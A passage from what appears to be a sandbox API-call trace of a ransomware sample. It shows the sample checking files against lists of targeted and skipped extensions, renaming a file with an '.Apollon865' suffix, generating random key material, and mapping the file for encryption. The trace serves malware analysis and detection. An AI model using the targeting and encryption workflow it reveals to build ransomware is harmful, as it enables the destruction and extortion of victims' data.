	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fp5") returned -1
	[0047.009] lstrlenW (lpString="fp7") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fp7") returned -1
	[0047.009] lstrlenW (lpString="fpt") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fpt") returned -1
	[0047.009] lstrlenW (lpString="frm") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="frm") returned -1
	[0047.009] lstrlenW (lpString="gdb") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="gdb") returned -1
	[0047.009] lstrlenW (lpString="gdb") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="gdb") returned -1
	[0047.009] lstrlenW (lpString="grdb") returned 4
	[0047.010] lstrcmpiW (lpString1=".blf", lpString2="grdb") returned -1
	[0047.010] lstrlenW (lpString="gwi") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="gwi") returned -1
	[0047.010] lstrlenW (lpString="hdb") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="hdb") returned -1
	[0047.010] lstrlenW (lpString="his") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="his") returned -1
	[0047.010] lstrlenW (lpString="ib") returned 2
	[0047.010] lstrcmpiW (lpString1="lf", lpString2="ib") returned 1
	[0047.010] lstrlenW (lpString="idb") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="idb") returned -1
	[0047.010] lstrlenW (lpString="ihx") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="ihx") returned -1
	[0047.010] lstrlenW (lpString="itdb") returned 4
	[0047.010] lstrcmpiW (lpString1=".blf", lpString2="itdb") returned -1
	[0047.010] lstrlenW (lpString="itw") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="itw") returned -1
	[0047.010] lstrlenW (lpString="jet") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="jet") returned -1
	[0047.010] lstrlenW (lpString="jtx") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="jtx") returned -1
	[0047.010] lstrlenW (lpString="kdb") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="kdb") returned -1
	[0047.010] lstrlenW (lpString="kexi") returned 4
	[0047.010] lstrcmpiW (lpString1=".blf", lpString2="kexi") returned -1
	[0047.010] lstrlenW (lpString="kexic") returned 5
	[0047.010] lstrcmpiW (lpString1="M.blf", lpString2="kexic") returned 1
	[0047.010] lstrlenW (lpString="kexis") returned 5
	[0047.010] lstrcmpiW (lpString1="M.blf", lpString2="kexis") returned 1
	[0047.010] lstrlenW (lpString="lgc") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="lgc") returned -1
	[0047.010] lstrlenW (lpString="lwx") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="lwx") returned -1
	[0047.010] lstrlenW (lpString="maf") returned 3
	[0047.010] lstrcmpiW (lpString1="blf", lpString2="maf") returned -1
	[0047.011] lstrlenW (lpString="maq") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="maq") returned -1
	[0047.011] lstrlenW (lpString="mar") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mar") returned -1
	[0047.011] lstrlenW (lpString="marshal") returned 7
	[0047.011] lstrcmpiW (lpString1=".TM.blf", lpString2="marshal") returned -1
	[0047.011] lstrlenW (lpString="mas") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mas") returned -1
	[0047.011] lstrlenW (lpString="mav") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mav") returned -1
	[0047.011] lstrlenW (lpString="maw") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="maw") returned -1
	[0047.011] lstrlenW (lpString="mdbhtml") returned 7
	[0047.011] lstrcmpiW (lpString1=".TM.blf", lpString2="mdbhtml") returned -1
	[0047.011] lstrlenW (lpString="mdn") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mdn") returned -1
	[0047.011] lstrlenW (lpString="mdt") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mdt") returned -1
	[0047.011] lstrlenW (lpString="mfd") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mfd") returned -1
	[0047.011] lstrlenW (lpString="mpd") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mpd") returned -1
	[0047.011] lstrlenW (lpString="mrg") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mrg") returned -1
	[0047.011] lstrlenW (lpString="mud") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mud") returned -1
	[0047.011] lstrlenW (lpString="mwb") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="mwb") returned -1
	[0047.011] lstrlenW (lpString="myd") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="myd") returned -1
	[0047.011] lstrlenW (lpString="ndf") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="ndf") returned -1
	[0047.011] lstrlenW (lpString="nnt") returned 3
	[0047.011] lstrcmpiW (lpString1="blf", lpString2="nnt") returned -1
	[0047.011] lstrlenW (lpString="nrmlib") returned 6
	[0047.012] lstrcmpiW (lpString1="TM.blf", lpString2="nrmlib") returned 1
	[0047.012] lstrlenW (lpString="ns2") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="ns2") returned -1
	[0047.012] lstrlenW (lpString="ns3") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="ns3") returned -1
	[0047.012] lstrlenW (lpString="ns4") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="ns4") returned -1
	[0047.012] lstrlenW (lpString="nsf") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="nsf") returned -1
	[0047.012] lstrlenW (lpString="nv") returned 2
	[0047.012] lstrcmpiW (lpString1="lf", lpString2="nv") returned -1
	[0047.012] lstrlenW (lpString="nv2") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="nv2") returned -1
	[0047.012] lstrlenW (lpString="nwdb") returned 4
	[0047.012] lstrcmpiW (lpString1=".blf", lpString2="nwdb") returned -1
	[0047.012] lstrlenW (lpString="nyf") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="nyf") returned -1
	[0047.012] lstrlenW (lpString="odb") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="odb") returned -1
	[0047.012] lstrlenW (lpString="odb") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="odb") returned -1
	[0047.012] lstrlenW (lpString="oqy") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="oqy") returned -1
	[0047.012] lstrlenW (lpString="ora") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="ora") returned -1
	[0047.012] lstrlenW (lpString="orx") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="orx") returned -1
	[0047.012] lstrlenW (lpString="owc") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="owc") returned -1
	[0047.012] lstrlenW (lpString="p96") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="p96") returned -1
	[0047.012] lstrlenW (lpString="p97") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="p97") returned -1
	[0047.012] lstrlenW (lpString="pan") returned 3
	[0047.012] lstrcmpiW (lpString1="blf", lpString2="pan") returned -1
	[0047.012] lstrlenW (lpString="pdb") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="pdb") returned -1
	[0047.013] lstrlenW (lpString="pdm") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="pdm") returned -1
	[0047.013] lstrlenW (lpString="pnz") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="pnz") returned -1
	[0047.013] lstrlenW (lpString="qry") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="qry") returned -1
	[0047.013] lstrlenW (lpString="qvd") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="qvd") returned -1
	[0047.013] lstrlenW (lpString="rbf") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="rbf") returned -1
	[0047.013] lstrlenW (lpString="rctd") returned 4
	[0047.013] lstrcmpiW (lpString1=".blf", lpString2="rctd") returned -1
	[0047.013] lstrlenW (lpString="rod") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="rod") returned -1
	[0047.013] lstrlenW (lpString="rodx") returned 4
	[0047.013] lstrcmpiW (lpString1=".blf", lpString2="rodx") returned -1
	[0047.013] lstrlenW (lpString="rpd") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="rpd") returned -1
	[0047.013] lstrlenW (lpString="rsd") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="rsd") returned -1
	[0047.013] lstrlenW (lpString="sas7bdat") returned 8
	[0047.013] lstrcmpiW (lpString1="}.TM.blf", lpString2="sas7bdat") returned -1
	[0047.013] lstrlenW (lpString="sbf") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="sbf") returned -1
	[0047.013] lstrlenW (lpString="scx") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="scx") returned -1
	[0047.013] lstrlenW (lpString="sdb") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="sdb") returned -1
	[0047.013] lstrlenW (lpString="sdc") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="sdc") returned -1
	[0047.013] lstrlenW (lpString="sdf") returned 3
	[0047.013] lstrcmpiW (lpString1="blf", lpString2="sdf") returned -1
	[0047.014] lstrlenW (lpString="sis") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="sis") returned -1
	[0047.014] lstrlenW (lpString="spq") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="spq") returned -1
	[0047.014] lstrlenW (lpString="te") returned 2
	[0047.014] lstrcmpiW (lpString1="lf", lpString2="te") returned -1
	[0047.014] lstrlenW (lpString="teacher") returned 7
	[0047.014] lstrcmpiW (lpString1=".TM.blf", lpString2="teacher") returned -1
	[0047.014] lstrlenW (lpString="tmd") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="tmd") returned -1
	[0047.014] lstrlenW (lpString="tps") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="tps") returned -1
	[0047.014] lstrlenW (lpString="trc") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="trc") returned -1
	[0047.014] lstrlenW (lpString="trc") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="trc") returned -1
	[0047.014] lstrlenW (lpString="trm") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="trm") returned -1
	[0047.014] lstrlenW (lpString="udb") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="udb") returned -1
	[0047.014] lstrlenW (lpString="udl") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="udl") returned -1
	[0047.014] lstrlenW (lpString="usr") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="usr") returned -1
	[0047.014] lstrlenW (lpString="v12") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="v12") returned -1
	[0047.014] lstrlenW (lpString="vis") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="vis") returned -1
	[0047.014] lstrlenW (lpString="vpd") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="vpd") returned -1
	[0047.014] lstrlenW (lpString="vvv") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="vvv") returned -1
	[0047.014] lstrlenW (lpString="wdb") returned 3
	[0047.014] lstrcmpiW (lpString1="blf", lpString2="wdb") returned -1
	[0047.015] lstrlenW (lpString="wmdb") returned 4
	[0047.015] lstrcmpiW (lpString1=".blf", lpString2="wmdb") returned -1
	[0047.015] lstrlenW (lpString="wrk") returned 3
	[0047.015] lstrcmpiW (lpString1="blf", lpString2="wrk") returned -1
	[0047.015] lstrlenW (lpString="xdb") returned 3
	[0047.015] lstrcmpiW (lpString1="blf", lpString2="xdb") returned -1
	[0047.015] lstrlenW (lpString="xld") returned 3
	[0047.015] lstrcmpiW (lpString1="blf", lpString2="xld") returned -1
	[0047.015] lstrlenW (lpString="xmlff") returned 5
	[0047.015] lstrcmpiW (lpString1="M.blf", lpString2="xmlff") returned -1
	[0047.015] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Apollon865") returned 83
	[0047.015] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.apollon865"), dwFlags=0x1) returned 1
	[0047.016] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.016] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=65536) returned 1
	[0047.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.016] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.017] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.017] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.017] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10300, lpName=0x0) returned 0x158
	[0047.019] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10300) returned 0x120000
	[0047.023] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.023] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.023] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0047.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0047.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.024] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0047.025] CloseHandle (hObject=0x158) returned 1
	[0047.025] CloseHandle (hObject=0x15c) returned 1
	[0047.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.025] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
	[0047.025] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.025] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="Apollon865.txt.exe") returned 1
	[0047.025] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1
	[0047.025] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1
	[0047.025] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="windows") returned -1
	[0047.025] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootmgr") returned 1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="temp") returned -1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="pagefile.sys") returned -1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot") returned 1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ids.txt") returned 1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="perflogs") returned -1
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="MSBuild") returned 1
	[0047.026] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0047.026] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 72
	[0047.026] lstrcpyW (in: lpString1=0x119e62a, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms"
	[0047.026] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0047.026] lstrlenW (lpString="Apollon865") returned 10
	[0047.026] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0047.026] lstrlenW (lpString=".dll") returned 4
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1
	[0047.026] lstrlenW (lpString=".lnk") returned 4
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1
	[0047.026] lstrlenW (lpString=".ini") returned 4
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1
	[0047.026] lstrlenW (lpString=".sys") returned 4
	[0047.026] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1
	[0047.026] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0047.026] lstrlenW (lpString="bak") returned 3
	[0047.026] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0047.026] lstrlenW (lpString="ba_") returned 3
	[0047.026] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0047.026] lstrlenW (lpString="dbb") returned 3
	[0047.026] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0047.026] lstrlenW (lpString="vmdk") returned 4
	[0047.026] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1
	[0047.027] lstrlenW (lpString="rar") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0047.027] lstrlenW (lpString="zip") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0047.027] lstrlenW (lpString="tgz") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0047.027] lstrlenW (lpString="vbox") returned 4
	[0047.027] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1
	[0047.027] lstrlenW (lpString="vdi") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0047.027] lstrlenW (lpString="vhd") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0047.027] lstrlenW (lpString="vhdx") returned 4
	[0047.027] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1
	[0047.027] lstrlenW (lpString="avhd") returned 4
	[0047.027] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1
	[0047.027] lstrlenW (lpString="db") returned 2
	[0047.027] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0047.027] lstrlenW (lpString="db2") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0047.027] lstrlenW (lpString="db3") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0047.027] lstrlenW (lpString="dbf") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0047.027] lstrlenW (lpString="mdf") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0047.027] lstrlenW (lpString="mdb") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0047.027] lstrlenW (lpString="sql") returned 3
	[0047.027] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0047.027] lstrlenW (lpString="sqlite") returned 6
	[0047.027] lstrcmpiW (lpString1="ans-ms", lpString2="sqlite") returned -1
	[0047.027] lstrlenW (lpString="sqlite3") returned 7
	[0047.028] lstrcmpiW (lpString1="rans-ms", lpString2="sqlite3") returned -1
	[0047.028] lstrlenW (lpString="sqlitedb") returned 8
	[0047.028] lstrcmpiW (lpString1="trans-ms", lpString2="sqlitedb") returned 1
	[0047.028] lstrlenW (lpString="xml") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0047.028] lstrlenW (lpString="$er") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0047.028] lstrlenW (lpString="4dd") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0047.028] lstrlenW (lpString="4dl") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0047.028] lstrlenW (lpString="^^^") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0047.028] lstrlenW (lpString="abs") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0047.028] lstrlenW (lpString="abx") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0047.028] lstrlenW (lpString="accdb") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1
	[0047.028] lstrlenW (lpString="accdc") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1
	[0047.028] lstrlenW (lpString="accde") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1
	[0047.028] lstrlenW (lpString="accdr") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1
	[0047.028] lstrlenW (lpString="accdt") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1
	[0047.028] lstrlenW (lpString="accdw") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1
	[0047.028] lstrlenW (lpString="accft") returned 5
	[0047.028] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1
	[0047.028] lstrlenW (lpString="adb") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.028] lstrlenW (lpString="adb") returned 3
	[0047.028] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.029] lstrlenW (lpString="ade") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0047.029] lstrlenW (lpString="adf") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0047.029] lstrlenW (lpString="adn") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0047.029] lstrlenW (lpString="adp") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0047.029] lstrlenW (lpString="alf") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0047.029] lstrlenW (lpString="ask") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0047.029] lstrlenW (lpString="btr") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0047.029] lstrlenW (lpString="cat") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0047.029] lstrlenW (lpString="cdb") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0047.029] lstrlenW (lpString="ckp") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0047.029] lstrlenW (lpString="cma") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0047.029] lstrlenW (lpString="cpd") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0047.029] lstrlenW (lpString="dacpac") returned 6
	[0047.029] lstrcmpiW (lpString1="ans-ms", lpString2="dacpac") returned -1
	[0047.029] lstrlenW (lpString="dad") returned 3
	[0047.029] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0047.029] lstrlenW (lpString="dadiagrams") returned 10
	[0047.029] lstrcmpiW (lpString1="egtrans-ms", lpString2="dadiagrams") returned 1
